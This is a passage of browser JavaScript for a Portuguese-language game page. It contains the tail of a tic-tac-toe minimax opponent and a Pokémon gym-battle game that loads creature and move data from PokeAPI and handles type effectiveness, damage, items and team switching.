if (board[a] && board[a] === board[b] && board[a] === board[c]) return board[a];
}
return null;
}
function ttt_aiMove() {
if (!ttt_isGameActive) return;
let bestScore = -Infinity;
let move;
for (let i = 0; i < 9; i++) {
if (ttt_boardState[i] === null) {
ttt_boardState[i] = ttt_aiPlayer;
let score = ttt_minimax(ttt_boardState, 0, false);
ttt_boardState[i] = null;
if (score > bestScore) {
bestScore = score;
move = i;
}
}
}
ttt_makeMove(move, ttt_aiPlayer);
if (ttt_checkEnd()) return;
ttt_currentPlayer = ttt_humanPlayer;
ttt_statusElement.textContent = "Sua vez (X)";
}
const ttt_scoresMap = { [ttt_aiPlayer]: 10, [ttt_humanPlayer]: -10, 'tie': 0 };
function ttt_minimax(board, depth, isMaximizing) {
let result = ttt_checkWinner(board);
if (result !== null) return ttt_scoresMap[result] - depth;
if (!board.includes(null)) return ttt_scoresMap['tie'];
let bestScore = isMaximizing ? -Infinity : Infinity;
for (let i = 0; i < 9; i++) {
if (board[i] === null) {
board[i] = isMaximizing ? ttt_aiPlayer : ttt_humanPlayer;
let score = ttt_minimax(board, depth + 1, !isMaximizing);
board[i] = null;
bestScore = isMaximizing ? Math.max(score, bestScore) : Math.min(score, bestScore);
}
}
return bestScore;
}
// --- LÓGICA DO JOGO POKÉMON (COMPLETO) ---
function initPokemonBattle() {
const POKEAPI_BASE_URL = "https://pokeapi.co/api/v2/";
const pokemon_screens = { start: document.querySelector('#pokemon-screen #start-screen'), name: document.querySelector('#pokemon-screen #name-screen'), gymChoice: document.querySelector('#pokemon-screen #gym-choice-screen'), pokemonChoice: document.querySelector('#pokemon-screen #pokemon-choice-screen'), battle: document.querySelector('#pokemon-screen #battle-screen'), gameOver: document.querySelector('#pokemon-screen #game-over-screen') };
const trainerNameInput = document.getElementById('trainer-name-input'); const playerNameDisplayGym = document.getElementById('player-name-display-gym'); const playerNameDisplayChoice = document.getElementById('player-name-display-choice'); const chosenGymNameDisplay = document.getElementById('chosen-gym-name-display'); const pokemonSelectedCountDisplay = document.getElementById('pokemon-selected-count'); const gymOptionsContainer = document.querySelector('#pokemon-screen .gym-options'); const badgesInventoryContainer = document.getElementById('badges-inventory'); const pokemonOptionsGrid = document.querySelector('#pokemon-screen .pokemon-options-grid'); const confirmPokemonChoiceButton = document.getElementById('confirm-pokemon-choice-button'); const resetPokemonChoiceButton = document.getElementById('reset-pokemon-choice-button'); const panelTextContent = document.getElementById('panel-text-content'); const panelButtonGrid = document.getElementById('panel-button-grid'); const startGameButton = document.querySelector('#pokemon-screen #start-game-button'); const submitNameButton = document.getElementById('submit-name-button'); const nextBattleButton = document.getElementById('next-battle-button'); const playAgainButton = document.querySelector('#pokemon-screen #play-again-button');
let trainerName = ""; let playerTeam = []; let currentPlayerPokemon = null; let currentOpponentTrainerIndex = 0; let gymTrainers = []; let selectedPokemonForChoice = new Set(); const KANTO_INITIAL_POKEMON_IDS = Array.from({ length: 151 }, (_, i) => i + 1);
let playerInventory = { 'Full Heal': 2, 'Hyper Potion': 3, 'Revive': 1, 'Dire Hit': 2 };
let wonBadges = new Set();
const pokemonDataCache = new Map(); let selectedGymKey = null; let currentGymData = null;
const GENERIC_FALLBACK_MOVES = [{ name: "Tackle", power: 40, type: "normal", accuracy: 100 }, { name: "Scratch", power: 40, type: "normal", accuracy: 100 }, { name: "Pound", power: 40, type: "normal", accuracy: 100 }, { name: "Quick Attack", power: 40, type: "normal", accuracy: 100, priority: 1 }, { name: "Vine Whip", power: 45, type: "grass", accuracy: 100 }, { name: "Ember", power: 40, type: "fire", accuracy: 100 }, { name: "Water Gun", power: 40, type: "water", accuracy: 100 }, { name: "Gust", power: 40, type: "flying", accuracy: 100 },];
const KANTO_GYMS_DATA = { pewter: { id: 'pewter', name: "Pewter City Gym", badge: "Boulder Badge", leaderName: "Brock", trainers: [{ name: "Camper Liam", pokemonsToLoad: [74, 50], loadedPokemons: [], isLeader: false }, { name: "Leader Brock", pokemonsToLoad: [75, 95], loadedPokemons: [], isLeader: true }] }, cerulean: { id: 'cerulean', name: "Cerulean City Gym", badge: "Cascade Badge", leaderName: "Misty", trainers: [{ name: "Swimmer Luis", pokemonsToLoad: [129, 60], loadedPokemons: [], isLeader: false }, { name: "Leader Misty", pokemonsToLoad: [120, 121], loadedPokemons: [], isLeader: true }] }, vermilion: { id: 'vermilion', name: "Vermilion City Gym", badge: "Thunder Badge", leaderName: "Lt. Surge", trainers: [{ name: "Sailor Dwayne", pokemonsToLoad: [25, 25], loadedPokemons: [], isLeader: false }, { name: "Leader Lt. Surge", pokemonsToLoad: [25, 100, 26], loadedPokemons: [], isLeader: true }] }, celadon: { id: 'celadon', name: "Celadon City Gym", badge: "Rainbow Badge", leaderName: "Erika", trainers: [{ name: "Lass Michelle", pokemonsToLoad: [69, 70], loadedPokemons: [], isLeader: false }, { name: "Leader Erika", pokemonsToLoad: [71, 114, 45], loadedPokemons: [], isLeader: true }] }, fuchsia: { id: 'fuchsia', name: "Fuchsia City Gym", badge: "Soul Badge", leaderName: "Koga", trainers: [{ name: "Juggler Nate", pokemonsToLoad: [96, 64], loadedPokemons: [], isLeader: false }, { name: "Leader Koga", pokemonsToLoad: [109, 89, 109, 110], loadedPokemons: [], isLeader: true }] }, saffron: { id: 'saffron', name: "Saffron City Gym", badge: "Marsh Badge", leaderName: "Sabrina", trainers: [{ name: "Psychic Preston", pokemonsToLoad: [79, 80], loadedPokemons: [], isLeader: false }, { name: "Leader Sabrina", pokemonsToLoad: [64, 122, 49, 65], loadedPokemons: [], isLeader: true }] }, cinnabar: { id: 'cinnabar', name: "Cinnabar Island Gym", badge: "Volcano Badge", leaderName: "Blaine", trainers: [{ name: "Super Nerd Erik", pokemonsToLoad: [37, 38], loadedPokemons: [], isLeader: false }, { name: "Leader Blaine", pokemonsToLoad: [58, 77, 78, 59], loadedPokemons: [], isLeader: true }] }, viridian: { id: 'viridian', name: "Viridian City Gym", badge: "Earth Badge", leaderName: "Giovanni", trainers: [{ name: "Tamer Jasper", pokemonsToLoad: [111, 111], loadedPokemons: [], isLeader: false }, { name: "Leader Giovanni", pokemonsToLoad: [111, 51, 31, 112], loadedPokemons: [], isLeader: true }] }, Takashi: { id: 'fukuima', name: "Arcade City Gym", badge: "Epic Badge", leaderName: "Takashi Satoshi", trainers: [{ name: "Old Hacker", pokemonsToLoad: [132, 133], loadedPokemons: [], isLeader: false }, { name: "Leader Takashi", pokemonsToLoad: [150, 151, 149], loadedPokemons: [], isLeader: true }] } };
const typeEffectiveness = { normal: { rock: 0.5, ghost: 0, steel: 0.5 }, fire: { grass: 2, water: 0.5, fire: 0.5, ice: 2, bug: 2, rock: 0.5, dragon: 0.5, steel: 2 }, water: { fire: 2, ground: 2, rock: 2, water: 0.5, grass: 0.5, dragon: 0.5 }, grass: { water: 2, ground: 2, rock: 2, fire: 0.5, grass: 0.5, poison: 0.5, flying: 0.5, bug: 0.5, dragon: 0.5, steel: 0.5 }, electric: { water: 2, flying: 2, ground: 0, grass: 0.5, electric: 0.5, dragon: 0.5 }, ice: { grass: 2, ground: 2, flying: 2, dragon: 2, fire: 0.5, water: 0.5, ice: 0.5, steel: 0.5 }, fighting: { normal: 2, rock: 2, ice: 2, poison: 0.5, flying: 0.5, psychic: 0.5, bug: 0.5, ghost: 0, fairy: 0.5, steel: 2 }, poison: { grass: 2, fairy: 2, poison: 0.5, ground: 0.5, rock: 0.5, ghost: 0.5, steel: 0 }, ground: { fire: 2, electric: 2, poison: 2, rock: 2, steel: 2, flying: 0, grass: 0.5, bug: 0.5 }, flying: { grass: 2, fighting: 2, bug: 2, rock: 0.5, electric: 0.5, steel: 0.5 }, psychic: { fighting: 2, poison: 2, psychic: 0.5, dark: 0, steel: 0.5 }, bug: { grass: 2, psychic: 2, dark: 2, fire: 0.5, fighting: 0.5, poison: 0.5, flying: 0.5, ghost: 0.5, fairy: 0.5, steel: 0.5 }, rock: { fire: 2, ice: 2, flying: 2, bug: 2, fighting: 0.5, ground: 0.5, steel: 0.5 }, ghost: { psychic: 2, ghost: 2, normal: 0, dark: 0.5 }, dragon: { dragon: 2, steel: 0.5, fairy: 0 }, dark: { psychic: 2, ghost: 2, fighting: 0.5, dark: 0.5, fairy: 0.5 }, steel: { ice: 2, rock: 2, fairy: 2, fire: 0.5, water: 0.5, electric: 0.5, steel: 0.5 }, fairy: { fighting: 2, dragon: 2, dark: 2, fire: 0.5, poison: 0.5, steel: 0.5 } };
function pokemon_showScreen(screenId) { for (const id in pokemon_screens) { pokemon_screens[id].classList.remove('active'); } pokemon_screens[screenId].classList.add('active'); }
function pokemon_resetGame() { trainerName = ""; trainerNameInput.value = ""; playerTeam = []; currentPlayerPokemon = null; currentOpponentTrainerIndex = 0; gymTrainers = []; pokemonDataCache.clear(); selectedGymKey = null; currentGymData = null; playerInventory = { 'Full Heal': 2, 'Hyper Potion': 3, 'Revive': 1, 'Dire Hit': 2 }; resetPokemonSelection(); panelTextContent.innerHTML = '<p>Bem-vindo de volta!</p>'; panelButtonGrid.innerHTML = ''; document.getElementById('player-team-display').innerHTML = ''; document.getElementById('opponent-team-display').innerHTML = ''; pokemon_showScreen('start'); }
async function fetchRawPokemonData(pokemonIdOrName) { const key = pokemonIdOrName.toString().toLowerCase(); if (pokemonDataCache.has(key)) return pokemonDataCache.get(key); try { const response = await fetch(`${POKEAPI_BASE_URL}pokemon/${key}`); if (!response.ok) throw new Error(`Pokémon não encontrado: ${pokemonIdOrName}`); const data = await response.json(); pokemonDataCache.set(key, data); return data; } catch (error) { console.error("Erro ao buscar dados do Pokémon:", error); return null; } }
async function processPokemonWithUniqueMoves(apiData) { if (!apiData) return null; const learnedMoves = []; const potentialMoves = []; for (const moveVersion of apiData.moves) { for (const versionGroupDetail of moveVersion.version_group_details) { if (versionGroupDetail.move_learn_method.name === 'level-up' && versionGroupDetail.level_learned_at > 0) { potentialMoves.push({ url: moveVersion.move.url, name: moveVersion.move.name, sortKey: 1 }); break; } } } if (potentialMoves.length < 10) { for (const moveVersion of apiData.moves) { if (!potentialMoves.find(pm => pm.name === moveVersion.move.name)) { potentialMoves.push({ url: moveVersion.move.url, name: moveVersion.move.name, sortKey: 2 }); } } } potentialMoves.sort((a, b) => a.sortKey - b.sortKey); for (const potMove of potentialMoves) { if (learnedMoves.length >= 4) break; try { const moveResponse = await fetch(potMove.url); if (!moveResponse.ok) continue; const moveData = await moveResponse.json(); if (moveData.power && moveData.power > 0) { const uniqueMoveName = moveData.name.split('-').map(s => s.charAt(0).toUpperCase() + s.substring(1)).join(' '); if (!learnedMoves.find(m => m.name === uniqueMoveName)) { learnedMoves.push({ name: uniqueMoveName, power: moveData.power, type: moveData.type.name, accuracy: moveData.accuracy || 100 }); } } } catch (e) { console.warn(`Falha ao buscar dados do golpe ${potMove.name}: ${e}`); } } let genericIndex = 0; const pokemonSpecificAssignedGenericMoves = new Set(); while (learnedMoves.length < 4 && genericIndex < GENERIC_FALLBACK_MOVES.length) { const genericMove = GENERIC_FALLBACK_MOVES[genericIndex]; if (!learnedMoves.find(m => m.name === genericMove.name) && !pokemonSpecificAssignedGenericMoves.has(genericMove.name)) { learnedMoves.push({ ...genericMove }); pokemonSpecificAssignedGenericMoves.add(genericMove.name); } genericIndex++; } if (learnedMoves.length === 0 && GENERIC_FALLBACK_MOVES.length > 0) { const forcedTackle = GENERIC_FALLBACK_MOVES.find(m => m.name === "Tackle") || GENERIC_FALLBACK_MOVES[0]; if (forcedTackle && !learnedMoves.find(m => m.name === forcedTackle.name)) { learnedMoves.push({ ...forcedTackle }); } } return { id: apiData.id, name: apiData.name.charAt(0).toUpperCase() + apiData.name.slice(1), sprite: apiData.sprites.front_default, sprite_back: apiData.sprites.back_default || apiData.sprites.front_default, hp: apiData.stats.find(stat => stat.stat.name === 'hp').base_stat * 2.5 + 60, currentHp: apiData.stats.find(stat => stat.stat.name === 'hp').base_stat * 2.5 + 60, attack: apiData.stats.find(stat => stat.stat.name === 'attack').base_stat, defense: apiData.stats.find(stat => stat.stat.name === 'defense').base_stat, speed: apiData.stats.find(stat => stat.stat.name === 'speed').base_stat, types: apiData.types.map(typeInfo => typeInfo.type.name), moves: learnedMoves.slice(0, 4), fainted: false, effects: { direHitTurns: 0 } }; }
function showMessageInPanel(text, isNewEntry = false) { if (isNewEntry || panelTextContent.children.length === 0) panelTextContent.innerHTML = ''; const p = document.createElement('p'); p.textContent = text; panelTextContent.appendChild(p); panelTextContent.scrollTop = panelTextContent.scrollHeight; }
function updateHealthBar(pokemon, barElementId, textElementId) { const bar = document.getElementById(barElementId); const text = document.getElementById(textElementId); if (!pokemon || !bar || !text) return; const hpPercentage = (pokemon.currentHp / pokemon.hp) * 100; bar.style.width = `${Math.max(0, hpPercentage)}%`; if (hpPercentage <= 0) bar.style.backgroundColor = 'grey'; else if (hpPercentage < 30) bar.style.backgroundColor = 'red'; else if (hpPercentage < 60) bar.style.backgroundColor = 'orange'; else bar.style.backgroundColor = '#4CAF50'; text.textContent = `HP: ${Math.max(0, Math.ceil(pokemon.currentHp))} / ${Math.ceil(pokemon.hp)}`; }
function getEffectiveness(attackType, defendTypes) { let totalEffectiveness = 1; if (typeEffectiveness[attackType]) { defendTypes.forEach(defendType => { if (typeEffectiveness[attackType][defendType] !== undefined) totalEffectiveness *= typeEffectiveness[attackType][defendType]; }); } return totalEffectiveness; }
function calculateDamage(attacker, defender, move) { if (!attacker || !defender || !move || !move.power) return 0; showMessageInPanel(`${attacker.name} usou ${move.name}!`, true); if (Math.random() * 100 > (move.accuracy || 100)) { showMessageInPanel(`...mas errou!`); return 0; } let critChance = 1 / 16; if (attacker.effects && attacker.effects.direHitTurns > 0) critChance = 1 / 8; const isCritical = Math.random() < critChance; const effectiveness = getEffectiveness(move.type, defender.types); let effectivenessMessage = ""; if (effectiveness > 1) effectivenessMessage = "É super efetivo!"; if (effectiveness < 1 && effectiveness > 0) effectivenessMessage = "Não é muito efetivo..."; if (effectiveness === 0) { showMessageInPanel(`Não teve efeito em ${defender.name}!`); return 0; } if (effectivenessMessage) showMessageInPanel(effectivenessMessage); if (isCritical) showMessageInPanel("Um acerto crítico!"); const level = 50; let damage = ((((level * 2 / 5) + 2) * move.power * (attacker.attack / defender.defense)) / 50) + 2; damage *= effectiveness; if (isCritical) damage *= 1.5; damage *= (Math.random() * (1 - 0.85) + 0.85); damage = Math.max(1, Math.floor(damage)); showMessageInPanel(`Causou ${damage} de dano em ${defender.name}.`); return damage; }
function renderBadgesInventory() { badgesInventoryContainer.innerHTML = ''; Object.keys(KANTO_GYMS_DATA).forEach(key => { const gym = KANTO_GYMS_DATA[key]; const badgeDiv = document.createElement('div'); badgeDiv.classList.add('badge-icon'); badgeDiv.setAttribute('data-badge', gym.badge); if (wonBadges.has(gym.badge)) badgeDiv.classList.add('won'); badgeDiv.innerHTML = `<span style="font-size: 10px;">${gym.badge.charAt(0)}</span>`; badgesInventoryContainer.appendChild(badgeDiv); }); }
function populateGymChoiceScreen() { playerNameDisplayGym.textContent = trainerName; gymOptionsContainer.innerHTML = ''; Object.keys(KANTO_GYMS_DATA).forEach(gymKey => { const gym = KANTO_GYMS_DATA[gymKey]; const button = document.createElement('button'); button.classList.add('gym-option-button'); let badgeStatus = wonBadges.has(gym.badge) ? " [CONQUISTADA ✓]" : ""; button.textContent = `${gym.name}${badgeStatus}`; if (wonBadges.has(gym.badge)) { button.style.borderColor = "gold"; button.style.color = "gold"; } button.onclick = () => selectGym(gymKey); gymOptionsContainer.appendChild(button); }); renderBadgesInventory(); }
function selectGym(gymKey) { selectedGymKey = gymKey; currentGymData = KANTO_GYMS_DATA[gymKey]; chosenGymNameDisplay.textContent = currentGymData.name; playerNameDisplayChoice.textContent = trainerName; populatePokemonChoiceScreen(); pokemon_showScreen('pokemonChoice'); }
async function populatePokemonChoiceScreen() { pokemonOptionsGrid.innerHTML = '<p style="grid-column: 1 / -1; text-align: center;">Carregando Pokémon...</p>'; let loadedCount = 0; const totalToLoad = KANTO_INITIAL_POKEMON_IDS.length; const pokemonElements = []; resetPokemonSelection(); const promises = KANTO_INITIAL_POKEMON_IDS.map(id => fetchRawPokemonData(id).then(rawData => { if (rawData) { const div = document.createElement('div'); div.classList.add('pokemon-option'); div.dataset.pokemonId = rawData.id; const img = document.createElement('img'); img.src = rawData.sprites.front_default || ''; img.alt = rawData.name; const p = document.createElement('p'); p.textContent = rawData.name.charAt(0).toUpperCase() + rawData.name.slice(1); div.appendChild(img); div.appendChild(p); div.addEventListener('click', () => togglePokemonSelection(div, rawData.id)); pokemonElements.push({ id: rawData.id, element: div }); } }).catch(error => console.error(`Falha ao carregar Pokémon ID ${id}:`, error)).finally(() => { loadedCount++; if (loadedCount === 1) pokemonOptionsGrid.innerHTML = ''; const sortedElements = pokemonElements.sort((a, b) => a.id - b.id).map(item => item.element); pokemonOptionsGrid.innerHTML = ''; sortedElements.forEach(el => pokemonOptionsGrid.appendChild(el)); if (loadedCount === totalToLoad && pokemonElements.length === 0) pokemonOptionsGrid.innerHTML = '<p style="grid-column: 1 / -1; text-align: center;">Nenhum Pokémon pôde ser carregado.</p>'; })); await Promise.allSettled(promises); }
function togglePokemonSelection(div, pokemonId) { if (selectedPokemonForChoice.has(pokemonId)) { selectedPokemonForChoice.delete(pokemonId); div.classList.remove('selected'); } else if (selectedPokemonForChoice.size < 3) { selectedPokemonForChoice.add(pokemonId); div.classList.add('selected'); } else alert("Você já selecionou 3 Pokémon!"); pokemonSelectedCountDisplay.textContent = selectedPokemonForChoice.size; confirmPokemonChoiceButton.disabled = selectedPokemonForChoice.size !== 3; }
function resetPokemonSelection() { selectedPokemonForChoice.clear(); const selectedPokemonDivs = pokemonOptionsGrid.querySelectorAll('.pokemon-option.selected'); selectedPokemonDivs.forEach(div => div.classList.remove('selected')); pokemonSelectedCountDisplay.textContent = 0; confirmPokemonChoiceButton.disabled = true; }
async function initializeFullGameData() { showMessageInPanel("Preparando seu time...", true); playerTeam = []; for (const id of selectedPokemonForChoice) { const rawData = await fetchRawPokemonData(id); const processedPokemon = await processPokemonWithUniqueMoves(rawData); if (processedPokemon) playerTeam.push(processedPokemon); } if (playerTeam.length < 3) { showMessageInPanel("Erro ao carregar seu time! O jogo será reiniciado.", true); setTimeout(pokemon_resetGame, 3000); return false; } currentPlayerPokemon = playerTeam.find(p => !p.fainted) || null; if (!currentPlayerPokemon) { showMessageInPanel("Erro crítico: Nenhum Pokémon carregado. O jogo será reiniciado.", true); setTimeout(pokemon_resetGame, 3000); return false; } gymTrainers = JSON.parse(JSON.stringify(currentGymData.trainers)); currentOpponentTrainerIndex = 0; showMessageInPanel(`Preparando Pokémon do ${currentGymData.name}...`); for (const trainer of gymTrainers) { trainer.loadedPokemons = []; for (const id of trainer.pokemonsToLoad) { const rawData = await fetchRawPokemonData(id); const processedPokemon = await processPokemonWithUniqueMoves(rawData); if (processedPokemon) trainer.loadedPokemons.push(processedPokemon); } trainer.loadedPokemons = trainer.loadedPokemons.filter(p => p && p.moves && p.moves.length > 0); } showMessageInPanel(`${trainerName} está pronto para desafiar o ${currentGymData.name}!`); return true; }
function updatePlayerBattleDisplay() { if (!currentPlayerPokemon) return; document.getElementById('player-pokemon-name').textContent = currentPlayerPokemon.name; document.getElementById('player-sprite').src = currentPlayerPokemon.sprite_back; updateHealthBar(currentPlayerPokemon, 'player-hp-bar', 'player-hp-text'); updateTeamDisplay(playerTeam, 'player-team-display', true); if (currentPlayerPokemon.fainted) disablePlayerActions(true); }
function updateTeamDisplay(team, displayElementId, isPlayerTeam) { const displayDiv = document.getElementById(displayElementId); displayDiv.innerHTML = ''; team.forEach((pokemon, index) => { const pokeballDiv = document.createElement('div'); pokeballDiv.classList.add('pokeball'); if (pokemon.fainted) pokeballDiv.classList.add('fainted'); const isActive = isPlayerTeam ? (pokemon === currentPlayerPokemon) : (pokemon === getCurrentOpponentPokemon()); if (isActive && !pokemon.fainted) pokeballDiv.classList.add('active-pokemon'); if (isPlayerTeam && !pokemon.fainted && pokemon !== currentPlayerPokemon) { pokeballDiv.title = `Trocar para ${pokemon.name}`; pokeballDiv.classList.add('clickable'); pokeballDiv.onclick = (event) => { event.stopPropagation(); switchPlayerPokemon(index); }; } else if (isPlayerTeam) pokeballDiv.classList.remove('clickable'); displayDiv.appendChild(pokeballDiv); }); }
function getCurrentOpponentPokemon() { if (gymTrainers[currentOpponentTrainerIndex]) return gymTrainers[currentOpponentTrainerIndex].loadedPokemons.find(p => !p.fainted); return null; }
function showMainBattleActions() { panelButtonGrid.innerHTML = ''; panelButtonGrid.style.gridTemplateColumns = 'repeat(2, 1fr)'; showMessageInPanel(`O que ${currentPlayerPokemon.name} fará?`, true); const fightButton = document.createElement('button'); fightButton.textContent = "Lutar"; fightButton.onclick = () => showMoveChoices(); panelButtonGrid.appendChild(fightButton); const pokemonButton = document.createElement('button'); pokemonButton.textContent = "Pokémon"; pokemonButton.onclick = () => showMessageInPanel("Escolha um Pokémon para trocar (clique na Pokebola acima).", true); panelButtonGrid.appendChild(pokemonButton); const itemButton = document.createElement('button'); itemButton.textContent = "Item"; itemButton.onclick = () => showItemChoices(); panelButtonGrid.appendChild(itemButton); const runButton = document.createElement('button'); runButton.textContent = "Fugir"; const currentOpponentTrainer = gymTrainers[currentOpponentTrainerIndex]; if (currentOpponentTrainer && currentOpponentTrainer.isLeader) { runButton.disabled = true; runButton.title = "Não pode fugir de um Líder de Ginásio!"; } else { runButton.disabled = false; runButton.onclick = () => runFromBattle(); } panelButtonGrid.appendChild(runButton); disablePlayerActions(false); }
function showMoveChoices() { panelButtonGrid.innerHTML = ''; panelButtonGrid.style.gridTemplateColumns = 'repeat(2, 1fr)'; showMessageInPanel("Escolha um golpe:", true); if (currentPlayerPokemon && currentPlayerPokemon.moves) currentPlayerPokemon.moves.forEach(move => { const moveButton = document.createElement('button'); moveButton.textContent = `${move.name}`; moveButton.title = `Tipo: ${move.type}, Poder: ${move.power}, Acc: ${move.accuracy || 100}`; moveButton.onclick = () => playerTurnAttack(move); panelButtonGrid.appendChild(moveButton); }); for (let i = (currentPlayerPokemon.moves ? currentPlayerPokemon.moves.length : 0); i < 4; i++) { const emptyButton = document.createElement('button'); emptyButton.textContent = "-"; emptyButton.disabled = true; panelButtonGrid.appendChild(emptyButton); } disablePlayerActions(false); }
function showItemChoices() { panelButtonGrid.innerHTML = ''; panelButtonGrid.style.gridTemplateColumns = 'repeat(2, 1fr)'; showMessageInPanel("Escolha um item:", true); const availableItems = []; for (const itemName in playerInventory) if (playerInventory[itemName] > 0) availableItems.push(itemName); if (availableItems.length === 0) { showMessageInPanel("Você não tem itens!", true); const backButton = document.createElement('button'); backButton.textContent = "Voltar"; backButton.onclick = () => showMainBattleActions(); panelButtonGrid.appendChild(backButton); for (let i = 1; i < 4; i++) { const emptyBtn = document.createElement('button'); emptyBtn.textContent = "-"; emptyBtn.disabled = true; panelButtonGrid.appendChild(emptyBtn); } disablePlayerActions(false); return; } const itemsToDisplay = availableItems.slice(0, 3); itemsToDisplay.forEach(itemName => { const itemButton = document.createElement('button'); itemButton.textContent = `${itemName} (x${playerInventory[itemName]})`; itemButton.onclick = () => selectItemTarget(itemName); panelButtonGrid.appendChild(itemButton); }); const backButton = document.createElement('button'); backButton.textContent = "Voltar"; backButton.onclick = () => showMainBattleActions(); panelButtonGrid.appendChild(backButton); for (let i = panelButtonGrid.children.length; i < 4; i++) { const emptyBtn = document.createElement('button'); emptyBtn.textContent = "-"; emptyBtn.disabled = true; panelButtonGrid.appendChild(emptyBtn); } disablePlayerActions(false); }
function selectItemTarget(itemName) { panelButtonGrid.innerHTML = ''; showMessageInPanel(`Usar ${itemName} em qual Pokémon?`, true); let targetsExist = false; if (itemName === 'Hyper Potion' || itemName === 'Full Heal' || itemName === 'Revive') { panelButtonGrid.style.gridTemplateColumns = `repeat(auto-fit, minmax(150px, 1fr))`; playerTeam.forEach((pokemon, index) => { const canUse = (itemName === 'Revive' && pokemon.fainted) || (itemName !== 'Revive' && !pokemon.fainted && ((itemName === 'Hyper Potion' && pokemon.currentHp < pokemon.hp) || (itemName === 'Full Heal'))); const pokemonButton = document.createElement('button'); let statusText = pokemon.fainted ? ' (FNT)' : ` (${Math.ceil(pokemon.currentHp)}/${Math.ceil(pokemon.hp)})`; pokemonButton.textContent = `${pokemon.name}${statusText}`; if (canUse) { pokemonButton.onclick = () => useItem(itemName, index); targetsExist = true; } else pokemonButton.disabled = true; panelButtonGrid.appendChild(pokemonButton); }); } else if (itemName === 'Dire Hit') { panelButtonGrid.style.gridTemplateColumns = 'repeat(2, 1fr)'; if (currentPlayerPokemon && !currentPlayerPokemon.fainted) { const useOnCurrentButton = document.createElement('button'); useOnCurrentButton.textContent = `Usar em ${currentPlayerPokemon.name}`; useOnCurrentButton.onclick = () => useItem(itemName, playerTeam.indexOf(currentPlayerPokemon)); panelButtonGrid.appendChild(useOnCurrentButton); targetsExist = true; } else showMessageInPanel(`${itemName} não pode ser usado no Pokémon atual.`); } if (!targetsExist && (itemName === 'Hyper Potion' || itemName === 'Full Heal' || itemName === 'Revive')) showMessageInPanel(`Nenhum Pokémon precisa de ${itemName}.`); const backButton = document.createElement('button'); backButton.textContent = "Voltar (Itens)"; backButton.onclick = () => showItemChoices(); panelButtonGrid.appendChild(backButton); const baseGridSize = panelButtonGrid.style.gridTemplateColumns.startsWith('repeat(2') ? 4 : 6; while (panelButtonGrid.children.length < baseGridSize) { const emptyBtn = document.createElement('button'); emptyBtn.textContent = "-"; emptyBtn.disabled = true; panelButtonGrid.appendChild(emptyBtn); } disablePlayerActions(false); }
function useItem(itemName, targetPokemonIndex) { if (playerInventory[itemName] <= 0) { showMessageInPanel(`Você não tem mais ${itemName}!`, true); setTimeout(showItemChoices, 1500); return; } const targetPokemon = playerTeam[targetPokemonIndex]; let itemUsedSuccessfully = false; let message = ""; disablePlayerActions(true); panelButtonGrid.innerHTML = ''; showMessageInPanel(`${trainerName} usou ${itemName}...`, true); switch (itemName) { case 'Hyper Potion': if (targetPokemon && !targetPokemon.fainted && targetPokemon.currentHp < targetPokemon.hp) { const hpRestored = Math.min(200, targetPokemon.hp - targetPokemon.currentHp); targetPokemon.currentHp += hpRestored; message = `${targetPokemon.name} recuperou ${hpRestored} HP!`; itemUsedSuccessfully = true; } else if (targetPokemon && targetPokemon.fainted) message = `${targetPokemon.name} está desmaiado!`; else if (targetPokemon && targetPokemon.currentHp >= targetPokemon.hp) message = `${targetPokemon.name} já está com HP cheio!`; else message = `Não foi possível usar ${itemName}.`; break; case 'Full Heal': if (targetPokemon && !targetPokemon.fainted) { if (targetPokemon.effects && targetPokemon.effects.direHitTurns > 0) targetPokemon.effects.direHitTurns = 0; message = `${targetPokemon.name} foi curado de todos os status!`; itemUsedSuccessfully = true; } else if (targetPokemon && targetPokemon.fainted) message = `${targetPokemon.name} está desmaiado!`; else message = `Não foi possível usar ${itemName}.`; break; case 'Revive': if (targetPokemon && targetPokemon.fainted) { targetPokemon.fainted = false; targetPokemon.currentHp = Math.floor(targetPokemon.hp / 2); message = `${targetPokemon.name} foi revivido!`; itemUsedSuccessfully = true; } else if (targetPokemon && !targetPokemon.fainted) message = `${targetPokemon.name} não está desmaiado!`; else message = `Não foi possível usar ${itemName}.`; break; case 'Dire Hit': const pokemonInBattle = playerTeam[targetPokemonIndex]; if (pokemonInBattle && !pokemonInBattle.fainted && pokemonInBattle === currentPlayerPokemon) { pokemonInBattle.effects.direHitTurns = 5; message = `A taxa de crítico de ${pokemonInBattle.name} aumentou!`; itemUsedSuccessfully = true; } else if (pokemonInBattle !== currentPlayerPokemon) message = `Dire Hit só pode ser usado no Pokémon em batalha.`; else message = `Não pode usar ${itemName} agora.`; break; } showMessageInPanel(message); if (itemUsedSuccessfully) { playerInventory[itemName]--; updatePlayerBattleDisplay(); updateTeamDisplay(playerTeam, 'player-team-display', true); setTimeout(opponentTurn, 2000); } else setTimeout(showMainBattleActions, 2000); }
async function setupBattle() { panelButtonGrid.innerHTML = ''; nextBattleButton.style.display = 'none'; if (!currentPlayerPokemon || currentPlayerPokemon.fainted) { currentPlayerPokemon = playerTeam.find(p => !p.fainted); if (!currentPlayerPokemon) { endGame(false); return; } showMessageInPanel(`${trainerName} envia ${currentPlayerPokemon.name}!`, true); } updatePlayerBattleDisplay(); const currentTrainer = gymTrainers[currentOpponentTrainerIndex]; if (!currentTrainer) { endGame(true); return; } let opponentPokemon = getCurrentOpponentPokemon(); if (!opponentPokemon) { showMessageInPanel(`${currentTrainer.name} foi derrotado!`, true); currentOpponentTrainerIndex++; if (currentOpponentTrainerIndex >= gymTrainers.length) endGame(true); else { showMessageInPanel(`Prepare-se para: ${gymTrainers[currentOpponentTrainerIndex].name}!`, true); updatePlayerBattleDisplay(); nextBattleButton.style.display = 'block'; panelButtonGrid.innerHTML = ''; disablePlayerActions(true); } return; } const battleIntroTitle = document.getElementById('battle-intro'); battleIntroTitle.textContent = currentTrainer.isLeader ? `Você enfrenta o Líder ${currentTrainer.name}!` : `${currentTrainer.name} desafia você!`; showMessageInPanel(`${currentTrainer.name} envia ${opponentPokemon.name}!`, true); document.getElementById('opponent-name').textContent = opponentPokemon.name; document.getElementById('opponent-sprite').src = opponentPokemon.sprite; updateHealthBar(opponentPokemon, 'opponent-hp-bar', 'opponent-hp-text'); updateTeamDisplay(currentTrainer.loadedPokemons, 'opponent-team-display', false); if (currentPlayerPokemon.speed >= opponentPokemon.speed) { showMessageInPanel(`${currentPlayerPokemon.name} é mais rápido! Você começa!`); showMainBattleActions(); } else { showMessageInPanel(`${opponentPokemon.name} é mais rápido e começa!`); disablePlayerActions(true); setTimeout(opponentTurn, 2000); } }
